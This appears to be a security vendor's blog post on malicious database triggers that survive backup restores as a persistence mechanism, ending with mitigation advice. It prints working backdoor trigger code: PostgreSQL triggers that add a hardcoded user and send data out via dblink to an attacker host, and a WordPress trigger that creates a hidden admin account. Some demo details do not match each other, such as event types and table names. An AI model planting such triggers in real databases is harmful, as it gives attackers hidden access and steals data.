5 Minute Read
Organizations often assume that restoring a backup to a patched environment eliminates threats. However, backups encapsulate both data and schema objects, including triggers. A compromised backup, often taken after an initial breach, may contain hidden triggers that reactivate the attacker’s access upon restore. This post explores how malicious triggers in compromised backups can serve as persistence mechanisms for attackers and how to mitigate this threat. Triggers are programmatic database objects that execute automatically in response to specified database management system (DBMS) events such as INSERT, UPDATE, DELETE, or TRUNCATE operations. Some of the characteristics of triggers are the execution context; it can execute BEFORE, AFTER, or INSTEAD OF database operations and scope, operate at row-level, (with FOR EACH ROW) or statement-level (such as FOR EACH STATEMENT). An attacker compromises an environment that contains, among other assets, a DBMS. The attacker moves laterally, creates its own users, and plants backdoors into the servers’ operating systems. In one of the servers, there is a nonpublic-facing DBMS that is responsible for their public-facing content management system (CMS). The attacker inserts a specially crafted trigger into the database and remains undetected, giving enough time for the backup procedure to be automatically run and effectively saving the trigger into the company backup. A few days later, the user responsible for the environment’s security detects the breach. The user isolates the environments, reinstalls the servers with up-to-date software, evaluates the backups, and cleans up the users that were added by the attacker. The immediate intrusion appears to be effectively contained, however, the user neglects to evaluate all the schema triggers. The attacker then imports the backup into the freshly installed up-to-date database. Sometime later, the trigger gets executed, re-enabling access to the attacker into the new environment. For the succeeding demonstration, the victim will be using Postgres with a dummy, two-tables schema: One table will represent how the username and passwords columns could be used for authentication and the other will be representing the logs table, where the system hypothetically stores logs related to authentication. Let’s imagine that in a comfortable situation, the attacker realizes that every authentication failure gets logged inside the logs table with a type of “AUTH_FAILURE_EVENT”. After the initial compromise, the attacker would need database access with sufficient privileges to create triggers and an understanding of the target database schema and event patterns. It will be necessary for the attacker to find a table that gets written when some external event that he controls happens, for example authentication failures. The attacker creates the trigger function to insert a new user in case a specific “AUTH_FAILURE_EVENT" occurred, as a persistence event. Note that the credentials will have to be hardcoded in the function’s body. In the example below, the password was not hashed for simplicity. The attacker attaches the trigger to the logs table that was previously created . This means that every time a statement matching the trigger attributes that a set is executed, the trigger will also execute. The trigger would also then insert a user into the users table as can be seen below: So, if a new search is performed in the users table, the user that was added by the trigger will be found. An attacker can also create a trigger that sends sensitive data to an external server whenever records are updated. There are a few native functions on Postgres that an attacker could abuse to send data remotely. The attacker would need a remotely controlled instance to be able to leak the data there. In the example below, a second container was set up on the same network running postgres and the following table was created to receive the leaked data. On the target machine, the attacker can setup the triggers that will abuse the functions to leak the data. create extension dblink; The attacker can then create a function and put this on a trigger that will then input data on the attacker-controlled database. The attacker can then attach it to a trigger that will then execute this function in case of a persistence event. So, every time an event like this happens, the data will be input in the attacker-controlled database. On the attacker machine, the input data would look like this: Many WordPress administrators and users have encountered suspicious comments such as “Are you struggling to get comments on your blog?” which are often dismissed as spam. However, these phrases are part of an attack chain attempting to trigger a new admin user creation. When executed, this method would automatically create a new administrator account (wpadmin) with valid-looking metadata and a pre-hashed password. When persistence is achieved after rebuilding servers or restoring from backups, the attacker could then log in with the credentials created. Traditional security measures often fail to account for database triggers, which remain persistent even after patching operating systems or database software. Since backups preserve data and schema objects, malicious triggers can survive restoration, reactivating attacker access in what appears to be a clean environment. Attackers exploit this oversight by embedding triggers in complex code or giving them benign names to evade detection. Trustwave Database Scanning solutions help close this critical gap by automatically flagging risky triggers discovered during a scan. Its proprietary rule engine scans live databases for high-risk triggers, such as those modifying user tables. However, to completely mitigate this ris also requires treating backups as untrusted artifacts, validating them against known-good versions through hashing and schema versioning. Restricting trigger permissions also greatly reduces abuse, such as unauthorized OS command execution or data exfiltration. Additionally, restoration should occur in a "safe mode," with triggers disabled, allowing for thorough auditing before re-enabling them. Monitoring suspicious trigger activity, such as unexpected user creation or data exports, further reduces exposure. Ultimately, database administrators and security teams must include trigger audits in disaster recovery protocols, ensuring these hidden persistence mechanisms don’t undermine remediation efforts.Attack Scenario
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username VARCHAR(50) UNIQUE NOT NULL,
password VARCHAR(50) NOT NULL
);
CREATE TABLE logs (
id SERIAL PRIMARY KEY,
event_type VARCHAR(50) NOT NULL,
event_details TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
Persistence Vector No. 1
CREATE OR REPLACE FUNCTION create_user_on_log_event()
RETURNS TRIGGER AS $$
BEGIN
-- Check if the log event matches specific parameters
IF NEW.event_type = 'AUTH_FAILURE_EVENT' THEN
-- Create a new user with a predefined username and password
INSERT INTO users (username, password)
VALUES ('backdoor_user', 'malicious_password');
END IF;
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE TRIGGER persistence_trigger
AFTER INSERT ON logs
FOR EACH ROW
EXECUTE FUNCTION create_user_on_log_event();
INSERT INTO logs (event_type, event_details)
VALUES ('PERSISTENCE_EVENT', 'Triggering persistence mechanism');
SELECT * FROM users;
id | username | password
----+-----------------+--------------------
1 | backdoor_user | malicious_password
Persistence Vector No. 2
CREATE TABLE attacker_dump_table (
id SERIAL PRIMARY KEY,
data VARCHAR NOT NULL
);
SELECT dblink_exec(
'host=192.168.234.2 user=postgres password=Admin123 dbname=attacker',
'INSERT INTO attacker_table (data) VALUES (''remote data'')'
);
dblink_exec
-------------
INSERT 0 1
(1 row)
CREATE OR REPLACE FUNCTION leak_data()
RETURNS TRIGGER AS $$
BEGIN
PERFORM dblink_exec(
'host=192.168.234.2 user=postgres password=somepass dbname=attacker',
format('INSERT INTO attacker_table (data) VALUES (%L)',
NEW.event_details)
);
RETURN NEW;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
CREATE TRIGGER leak_data_trigger
AFTER INSERT ON logs
FOR EACH ROW
EXECUTE FUNCTION leak_data();
CREATE TRIGGER’’’
Victim=# INSERT INTO logs (event_type, event_details)
VALUES ('PERSISTENCE_EVENT', ' Triggering persistence mechanism');
attacker=# select data from attacker_table;
Triggering persistence mechanism
The Decade-Old WordPress Trigger Backdoor
EACH ROW, AFTER INSERT, table_name: wp_comments
BEGINIF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `wordpress`.`wp_users`);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwsoPJxViBhtGdHGw0b1', 'wpadmin', '[email protected]', 'http://wordpress.com', '2013-01-01 00:00:00', '', '0', '0');
INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:1:"administrator";s:1:"1";}');
INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
END IF;
Why Traditional Security Measures Fail and Mitigation Strategies: The Blind Spots of Database Security